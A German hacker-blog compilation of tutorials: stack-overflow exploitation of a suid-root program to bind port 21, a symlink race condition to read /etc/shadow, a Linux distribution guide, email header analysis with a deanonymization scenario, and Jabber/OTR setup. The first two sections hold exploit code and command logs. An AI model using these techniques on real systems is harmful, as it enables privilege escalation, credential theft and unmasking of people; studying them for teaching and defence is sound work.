Advanced Stack-Bufferoverflows

Eine Art “Tutorial”, welches ich von “frechdachs1337” zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten ūüėČ

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten √úberschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns √ľberrig wenn man zwar aus dem Speicherbereich der
urspr√ľnglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
√ľberschreiben kann, ja dann muss man kreativ werden!

tutorial[1] РPraktische Erklärung anhand eines komplett beknackten Beispiels ;D

  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
 
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
 
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir k√∂nnen h mit 10 Bytes √ľberschreiben.
h wird im nachhinein als Argument f√ľr execl benutz was f√ľr uns a√ľ√üerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das √úberschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] РPraktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <strings.h>
 
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
 
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
 
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
 
  	listen(s, 3);
 
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf sch√ľtzenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Gl√ľck!

F√ľr alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir k√∂nnen die ersten vier Bytes von sockaddr_in addr √ľberschreiben
indem wir die Datei prefs.cfg mit 65 Bytes f√ľllen (Wir k√∂nnen gottseidank Nullbytes
verwenden).
Was n√ľtzt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung f√ľr den Server.
Somit auch der Port! Nun m√ľssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausf√ľhren:

  #include <string.h>
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0x15000002
Das bedeutet: 0x1500 = R√ľckgabe von htons()
0x00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0x02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend f√ľllt und unser Victim starten.

  #include <stdio.h>
  #include <string.h>
 
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war a√ľ√üerst verst√§ndlich.

tutorial[3] – Nachwort

Ich verzichte.

[Tut] Simple Race Conditions

So, auf Wunsch von p0nny hier mal ein Blogeintrag von mir.

Ich dachte, ich mache einfach mal ein kleines Paper zu einfachen Race Conditions,

vielleicht interessiert es ja jemanden…

/***************************
*                            *
*   Simple Race Conditions   *
*                            *
*   written by GregorSamsa   *
* [email protected] *
*                            *
*****************************/

0x01 {
 Ein kleines Vorwort:
 Hier mal ein kleines Paper zum Thema Race Conditions.
 Wieder eines der Paper die geschrieben wurden,
 um Anfängern das Leben zu erleichter ;)

 Naja, nichts besonderes, aber vllt. regt es den ein oder
 anderen zum nachdenken an...
}

0x02 {
 Was sind Race Conditions?
 Race Conditions sind Situationen, in denen es darum geht,
 dass die Programmausf√ľhrung von einem Programm solange braucht,
 dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
 kann, um den Ablauf des ersten Programmes zu ändern.

 Ich habe hierf√ľr ein kleines C-Programm geschrieben, dass
 diesen Umstand simuliert.
}

0x03 {
 /** Simple Race Condition - Example **/
 #include <stdio.h>

 int main(int argc, char **argv)
 {
 FILE *f;
 char c;

 if(argc < 2) {
 printf("usage: %s <filename>\n", argv[0]);
 return 1;
 }

 if(strcmp(argv[1], "secretfilename") == 0) {
 printf("filename correct\nreading %s\n", argv[1]);
 }
 else {
 printf("wrong filename\npls w8 4 next try...\n");
 remove(argv[1]);
 sleep(5);
 }

 f = fopen(argv[1], "r");
 if(f == NULL) {
 printf("cannot open file...\nmaybe wrong filename...?\n");
 return 1;
 }

 while(!feof(f)) printf("%c", fgetc(f));

 fclose(f);

 return 0;
 }
}

0x04 {
 √úberlegungen:
 Schauen wir uns dieses Programm an:
 Als erstes √ľberpr√ľft es den Dateinamen.
 Wir gehen einfach mal davon aus, dass wir
 "secretfilename" nicht aus dem Speicher lesen
 k√∂nnen. Das k√∂nnte ja auch eine sha-1 Pr√ľfsumme
 des Dateinamens sein ;)

 Wenn der Dateiname nicht richtig ist, wird die Datei
 gelöscht und es werden 5 Sekunden gewartet.

 Später wird versucht die Datei zu öffnen und zu lesen.
 Wenn der falsche Dateiname eingegeben wurde,
 ist die Datei gelöscht und kann nicht gelesen werden...
 Oder doch...?
}

0x05 {
 Angriff:
 Da wir secretfilename nicht wissen, probieren wir
 einfach mal so, das Programm zu starten:

 [[email protected] ~]$ ./rc
 usage: ./rc <filename>
 [[email protected] ~]$ ./rc test
 wrong filename
 pls w8 4 next try...
 <5 sek warten>
 cannot open file...
 maybe wrong filename...?

 Die Angriffsmöglichkeit besteht in der Wartezeit
 von 5 Sekunden.
 Die Datei wird erst gelöscht, _danach_ wird gewartet
 und dann versucht die Datei zu öffnen.
 Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
 die Datei neu zu erstellen, damit die Ausgelesen wird:
 (In dem Beispiel gehen wir davon aus, dass wir ein
 SUID root Programm haben und /etc/shadow lesen wollen)

 [[email protected] ~]$ ./rc test &¬†¬† ¬†# im Hintergrund starten
 [1] 1337
 [[email protected] ~]$ wrong filename
 pls w8 4 next try

 [[email protected] ~]$ ln -s /etc/shadow test¬†¬† ¬†# w√§hrend der 5 Sekunden eine Datei anlegen,
die auf /etc/shadow verweist
 [[email protected] ~]$ <inhalt von /etc/shadow>
 [1]+ Fertig            ./rc test
 [[email protected] ~]$

 Ganz einfach, oder? :P
 Selbst wenn "test" besteht, wird diese Datei gelöscht,
 da der Dateiname falsch ist.
 Allerdings wird erst _danach_ 5 sek. gewartet,
 und wir erstellen in der Zeit eine Verkn√ľpfung zu /etc/shadow,
 die dann von dem Programm ausgelesen wird. Easy, aren't it?
}

0x06 {
 Schlusswort:
 Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
 Aber vllt. hilft es euch, Designfehler bei Programmabläufen
 zu verstehen und auszunutzen.

 Wer noch Fragen hat findet mich da:
 [email protected]
 irc.freenode.net #back2hack  http://back2hack.cc/
 irc.ircdotnet.net #free-hack  http://free-hack.com/
}

0x07 {
 oh shit, da greetz section... but meh like mah
 1337 friendz so meh hav 2 greetz them here!!!111
 J0hn.X3r - 4 u ;)
 BlackBerry - meh like u :-*
 h0yt3r - caaatz meow <3333
 Invisibility, Cheese, 0x30, aKiller - only: <3
 OpCodez - drugs r bad, but u r cool :P
 ...and kazuya, RedTiger, soulstoned, gesocks and teh
 other user from #back2hack and #free-hack i like u
}

/** n0p **/

Linux 101

Hay guise
Vor einer halben Ewigkeit hatte ich schonmal die Ehre meine Schreibk√ľnste auf diesem Blog zur Schau stellen. Dieser Artikel wird sich jedoch um ein anderes Thema k√ľmmern: Einige Kniffe f√ľr Linuxanf√§nger.

Einige Worte zu Linux im Allgemeinen

Einige eingefleischte Windowsj√ľnger werden sich jetzt vielleicht fragen, wieso man sich √ľberhaupt als h4xx0r √ľberlegen soll, zu Linux zu wechseln. Zu den Vorteilen von Linux gegen√ľber Windows z√§hlen ganz sicher die geringere Infektionsgefahr (Viren, Bots, Trojaner etc.), das sehr grosse Angebot an opensource Software, die gr√∂ssere Kontrolle √ľber das System und einfach das Gef√ľhl, dass man nicht mehr von ein paar seri√∂sen Programmierern in Redmond abh√§ngig ist, sondern nun die Erg√ľsse von potrauchenden Kernelhackern aus der ganzen Welt benutzt. Es gibt jedoch noch immer einige¬† Nachteile von Linux gegen√ľber Windows:
Einerseits gibt es viele von Windows gewohnte Programme nicht f√ľr Linux, sein System zum laufen zu bekommen kann zum Teil ein ziemliches gefrickel sein und gerade in Sachen 3D (Games) zieht Linux meistens immernoch den k√ľrzeren. Nichtsdestotrotz l√§uft Steam mit den meisten √§lteren Spielen (COD4, HL2, CSS) einwandfrei auf Linux (mit wine). Auch Designtechnisch l√§sst sich Linux sehr stylen und muss sich √ľberhaupt nicht vor Vista oder 7 verstecken.

Wahl der Distribution

Anders als bei Windows oder OSX handelt es sich bei GNU-Linux nur um den Kernel. Um ein produktives System nutzen zu k√∂nnen greifen die meisten Linuxianer auf verschiedene Distributionen zur√ľck. Grob gesagt handelt es sich bei einer Distribution um den Linux Kernel gepaart mit (meist) Opensource Anwendungen, die zusammen ein nutzbares Betriebssystem bilden.
Nun gibt es aber verschiedenste Distributionen, die sich in vielen Belangen voneinander unterscheiden. Deshalb werde ich hier nur diejenigen Distris aufzählen, die ich selber benutzt habe oder die mir von Bekannten empfohlen wurden.

Ubuntu
Ubuntu wird heute vielfach f√ľr den Linux Einstieg gew√§hlt. Es basiert wie viele andere Distributionen auf Debian und nutzt auch noch dessen Paketmanager APT.
Die Vorteile von Ubuntu sind die gute Hardwareunterst√ľtzung, die grosse Community, die Einfachheit, die vielen mitgelieferten Programme und die gesicherte zuk√ľnftige Entwicklung.
Ubuntu gibt es in verschiedenen Versionen mit unterschiedlichen Workspaces. Die meistgebrauchten sind Unbuntu mit Gnome als Workspace, Kubuntu mit KDE und Xubuntu mit XFCE. Die meisten werden mit Ubuntu zufrieden sein, wer es etwas schlichter mag, oder etwas ältere Hardware hat greift zu Xubuntu. Die Wahl zwischen KDE und Gnome ist eine Frage der Präferenz und es gibt immer mal wieder Trolling von Gnome Anhängern gegen KDE und umgekehrt. Am beisten einfach mal alle Versionen per Live-CD antesten und sich die aussuchen, die am besten gefällt.

Debian
Debian gilt als das Serverbetriebssystem schlechthin und wird von den meisten (meist etwas unerfahreneren) Leuten auf ihren Rootservern benutzt. Der Vorteil f√ľr den Servergebrauch sind die Stabilit√§t, die gesicherte Zukunft. F√ľr den Desktop eignet sich Debian eher weniger, da man meist eine √§ltere (eventuell stabilere) Version der Software per APT bekommt. Dennoch benutzen Debian einige User, die nicht jeden Crap der mit Ubuntu mitgeliefert wird auf ihrem System haben wollen. Ich pers√∂nlich sehe es als Zwischenstufe f√ľr Leute, die sich von Anfang an an die Konsole trauen und nicht tonnenweise Software auf ihrem System wollen, die sie nie brauchen werden.

Arch
Arch Linux ist eine Distribution f√ľr etwas fortgeschrittenere Linuxuser und setzt schon bei der Installation etwas technisches Verst√§ndniss voraus (mit dem sehr guten Wiki von Arch – Englischkenntnisse vorausgesetzt – l√§sst die sich aber relativ gut bew√§hltigen). Der Vorteil liegt meines Erachtens im wirklich sehr guten Paketsystem namens pacman und in der M√∂glichkeit, sein eigenes System genau nach seinen eigenen Vorstellungen zusammenzubauen.

Gentoo
Gentoo ist wohl noch etwas “komplizierter” als Arch einzusch√§tzen und bietet gegen√ľber den bisher genannten Distributionen den Vorteil (oder auch Nachteil), dass der Paketmanager die Pakete nicht als Binary (die schon kompillierten Daten) sondern als Sourcecode herunterl√§dt und jeweils optimiert f√ľr das System kompilliert. Dies dauert bei √§lterer Hardware f√ľr gr√∂ssere Pakete einige Zeit (laut Blackberry auf seinem Netbook f√ľr xorg mehrere Tage). Ansonsten ist Gentoo wohl √§hnlich einzusch√§tzen wie Arch, nur dass es meines Wissens eine Gentoo Live-CD gibt, die bei Arch nicht existiert (zumindest nicht offiziell).

Weiteres

Wer sich jetzt entschieden hat Linux auszuprobieren oder gar ganz auf Linux zu wechseln kann sich weitere Informationen in seiner favorisierten Suchmaschine holen (die meisten Informationen sind auf Englisch, f√ľr die hier genannten Distributionen gibt es aber AFAIK auch gr√∂ssere deutsche Communities).

Ausblick

Im n√§chsten Artikel werde ich einige Szenespezifsche Tricks erl√§utern (Verschl√ľsselung, Socks, Entwicklungsumgebungen f√ľr Programmiersprachen etc.).

Nun denn
so long
bl0b

PS. Um die Gayness des Blogs durch die vielen PussyTunes zu mildern hier ein kewles Video von unseren extrem 1337en schwedischen Kumpels:

Nach seinem ersten “Paper” hat bl0b nun einen weiteren Artikel fuer meinen Blog verfasst. Vielen lieben Dank hierfuer und ich hoffe, dass dieses Paper einigen Linuxanfaengern etwas geholfen hat ūüôā

E-mail Header Analysis

Sup,
In meinem ersten post bei J0hn.X3r schreibe ich was √ľber mail Header Analysis und welche Informationen man aus einer empfangenen E-mail auslesen kann.

1. Wie kriegt man diese daten zu sehen?

Daf√ľr muss dein gmx oder gmail account in einem mail Programm wie Thunderbird, auf dem PC eingerichtet sein.
Ich Persönlich nutze Thunderbird:

E-mail markieren > Ansicht > Nachrichten-Quelltext
oder
E-mail markieren > Strg+U

Bei jedem E-Mail Programm ist es unterschiedlich wie man an den E-mail Header ran kommt,
aber ein Programm verändert nichts am E-mail Header, der bleibt bei jedem Programm gleich.

2. Wie sieht so ein E-mail header aus?

Montaxx war so freundlich und hat mir eine E-mail geschickt, die ich hier als “Versuchsobjekt” benutzen kann.

From - Thu Mar 11 20:06:14 2010
X-Account-Key: account2
X-UIDL: UID3-1267740838
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-path: <[email protected]>
Envelope-to: [email protected]
Received: from fmmailgate03.web.de ([217.72.192.234])
	by cn04.oleco.net with esmtp (Exim 4.69)
	(envelope-from <[email protected]>)
	id 1Npnhh-000IxY-FP
	for [email protected]; Thu, 11 Mar 2010 20:05:53 +0100
Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate03.web.de (Postfix) with ESMTP id 67A60143B1596
	for <[email protected]>; Thu, 11 Mar 2010 20:05:09 +0100 (CET)
Received: from [12.345.67.89] (helo=[192.168.1.100])
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #314)
	id 1Npngy-0006RN-00
	for [email protected]; Thu, 11 Mar 2010 20:05:08 +0100
Message-ID: <[email protected]>
Date: Thu, 11 Mar 2010 20:05:10 +0100
From: montaxx <[email protected]>
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
MIME-Version: 1.0
To: [email protected]
Subject: Kostenlose =?ISO-8859-15?Q?Penisverl=E4ngerung?=
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [email protected]
X-Sender: [email protected]
X-Provags-ID: V01U2FsdGVkX19CYzu4/AFWSFIJvYkOC/wqBg5tdVIQraa4qAVT
	7yZOSya/AG1SQ1uObm45gu+bYIFd0bWqfL/BYvUztoDDbE4Kx7
	b0jZs0Y4U=
X-Spam-Score: 0.2
X-Spam-Report: 0.2 MR_NOT_ATTRIBUTED_IP   Beta rule: an non-attributed IPv4 found in
	headers
	0.6 J_CHICKENPOX_12        BODY: 1alpha-pock-2alpha
	-2.6 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
	2.0 RATWR10_MESSID         Message-ID has ratware pattern ([email protected])
	0.0 NO_RDNS2               Sending MTA has no reverse DNS

hi n0va von Thunderbird

3. Was bedeuten diese Daten?

From - Thu Mar 11 20:06:14 2010

Empfangsdatum + Uhrzeit, erklärt sich von selbst.

X-Account-Key: account2

Nichts intressantes

X-UIDL: UID3-1267740838

Steht f√ľr (unique identifier listing), damit vermeidet der Client bereits kopierte E-mails nochmal zu laden.

X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 

Mozilla status codes, nichts intressantes.

Return-path: <[email protected]>

An diese Adresse wird bei einer antwort gesendet (kann sich von der Sender E-mail unterscheiden).

Envelope-to: [email protected] 

Empfänger

Received: from fmmailgate03.web.de ([217.72.192.234])
	by cn04.oleco.net with esmtp (Exim 4.69)
	(envelope-from <[email protected]>)
	id 1Npnhh-000IxY-FP
	for [email protected]; Thu, 11 Mar 2010 20:05:53 +0100

Der Empfänger Mailserver cn04.oleco.net hat vom Sender Mailserver fmmailgate03.web.de, (IP Adresse 217.72.192.234) am 11. März 2010 um 20:05:53 Uhr die E-mail erhalten.
+0100 Steht f√ľr die Zeitzone des Empf√§nger Servers. esmtp steht f√ľr das Protokoll(erweiterung) womit diese E-mail √ľbertragen wurde.

Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate03.web.de (Postfix) with ESMTP id 67A60143B1596
	for <[email protected]>; Thu, 11 Mar 2010 20:05:09 +0100 (CET)

Hier sieht man den smtp server und ein paar weitere informationen, nichts neues f√ľr uns.

Received: from [12.345.67.89] (helo=[192.168.1.100])
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #314)
	id 1Npngy-0006RN-00
	for [email protected]; Thu, 11 Mar 2010 20:05:08 +0100

Dort wo [12.345.67.89] steht, m√ľsste eigentlich die IP Adresse des Senders stehen (wurde zensiert). Des weiteren sieht man das der Sender Server das asmtp Protokoll nutzt.
Meine E-mail, also die Empfänger E-mail Adresse ist auch sichtbar mitsamt datum wann die Mail ankam.

Message-ID: <[email protected]>
Date: Thu, 11 Mar 2010 20:05:10 +0100

Die Message-ID ist eine Art Seriennummer f√ľr E-mails, Damit l√§sst sich eine E-mail unmissverst√§ndlich identifizieren. Datum erkl√§rt sich auch wieder von selbst.

From: montaxx <[email protected]>
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)

Hier sieht man wieder Die Sender E-mail Adresse.

Darunter befinden sich weitere interessante Details √ľber den Sender, er benutzt Thunderbird¬† version 2.0.0.23 mit dem Betriebsystem Windows.
Die zahlen hinten sehen aus wie ein Datum, wahrscheinlich nutzt der Sender Windows 7.

MIME-Version: 1.0
To: [email protected]

Nichts was wir nicht schon wissen …

Subject: Kostenlose =?ISO-8859-15?Q?Penisverl=E4ngerung?=
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hinter Subject: befindet sich der angegebene Betreff der E-mail umlaute werden umgewandelt.
Content-Type: sagt das der eigentliche Inhalt der E-mail aus reinem Text besteht mit dem Zeichensatz charset=ISO-8859-15.

Sender: [email protected]
X-Sender: [email protected]

Wieder nichts neues.

X-Provags-ID: V01U2FsdGVkX19CYzu4/AFWSFIJvYkOC/wqBg5tdVIQraa4qAVT
	7yZOSya/AG1SQ1uObm45gu+bYIFd0bWqfL/BYvUztoDDbE4Kx7
	b0jZs0Y4U=

Hinter X-Provags-ID: steht eine E-mail in verschl√ľsselter form, aber diese intressiert nicht.

X-Spam-Score: 0.2
X-Spam-Report: 0.2 MR_NOT_ATTRIBUTED_IP   Beta rule: an non-attributed IPv4 found in
	headers
	0.6 J_CHICKENPOX_12        BODY: 1alpha-pock-2alpha
	-2.6 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
	2.0 RATWR10_MESSID         Message-ID has ratware pattern ([email protected])
	0.0 NO_RDNS2               Sending MTA has no reverse DNS

Weitere nutzlose Informationen.

hi n0va von Thunderbird

Der eigentliche Inhalt der E-mail, das was Montaxx mir geschrieben hat.

Es gibt im Internet einige tools die einem bei der E-mail Header analyse helfen:
http://www.mxtoolbox.com/Public/Tools/EmailHeaders.aspx
http://headertool.apelord.com/headers

Einfach den E-mail Header rein kopieren und es sich tabellarisch ausgeben lassen.

Weitere Informationen:
http://th-h.de/faq/headerfaq.php
http://de.wikipedia.org/wiki/Header_%28E-Mail%29

4. Was kann man mit diesen Daten anfangen?

Angreifer nutzen diese Informationen um sich ein Bild vom (Ziel)netzwerk zu machen und es besser verstehen können (Stichwort: information gathering, network mapping).
Manche Websites nutzen ihre eigenen POP und SMTP Server, somit vergrößert sich die Angriffsfläche.
Wenn z.b. der POP Server schlecht gesichert ist oder eine veraltete Software darauf l√§uft, dann wird es gef√§hrlich f√ľr den Betreiber.

Anderes Szenario:
Die Domain der Website von Person A hat eine whois protection, aber Person A nutzt eine Private E-mail Adresse, der POP Server wurde auf seinen echten Namen registriert.
Der Angreifer Person X will den echten namen von Person A herausfinden. Er kontaktiert Person A mit einer E-mail auf die Person A antworten “muss”, z.B.:

Schicke Seite, wie lange hast du daf√ľr gebraucht? Antworte plz.

Person A antwortet auf diese E-mail und sendet damit Informationen √ľber seinen POP Server, Angreifer X macht eine whois abfrage und sieht den echten Namen von Person A.

FIN

Ich hoffe ich konnte hier einen informativen beitrag leisten.
Dieser post wird bald auch in Englisch erscheinen

P.S.: Das ist mein erster post auf Deutsch :P.

Visit me at: www.novacaine.site11.com

Mfg, n0va

From - Thu Mar 11 20:06:14 2010

Wie benutze ich Jabber?

Hallo,

ihr habt bestimmt schon von Jabber gehört oder gelesen.

Falls ihr nicht wisst was es ist, es ist ein IM-Protokoll, ähnlich wie ICQ oder MSN.

Wer mehr dar√ľber lesen will, schaut sich das mal an.

Das erste was ihr braucht ist ein Client, da gibt es viele Auswahlmöglichkeiten, ich persöhnlich finde Pidgin gut, aber testet ruhig mehrere aus, kostet ja nichts. (Außer Zeit :P)

Hier mal ein paar Clienten:

Pidgin

Psi-IM

Pandion

[Gr√∂√üere Liste f√ľr z.B. Linux only ect.]

Wenn ihr euch f√ľr einen entschieden habt, kann es weitergehen.

Als nächstes suchen wir uns einen Jabber Server aus.

Ich habe bei mir den des CCC’s genommen:

jabber.ccc.de

Hier ist eine große Liste von Jabber Servern!

Der Rest erklärt sich fast von selbst, aber ich werde es jetzt mal an Pidgin zeigen.

Wir klicken oben auf “Konten”, dann auf “Konten verwalten”

step1.jpg

Danach f√ľllen wir die Felder aus.

step2.jpg

Nochmal das Passwort zur bestätigung eingeben und auf Wunsch abspeichern, danach kannst losgehen!

step3.jpg

Eure Addy ist jetzt:

[email protected]

Aber es gibt ein nettes Plugin, das sich Off-The-Record (kurz OTR) nennt, damit sind private Konversationen auch sicher ūüėČ

Mehr Infos dazu hier.

Soderle, ich w√ľnsch euch noch einen sch√∂nen Abend,

Euer GentleMan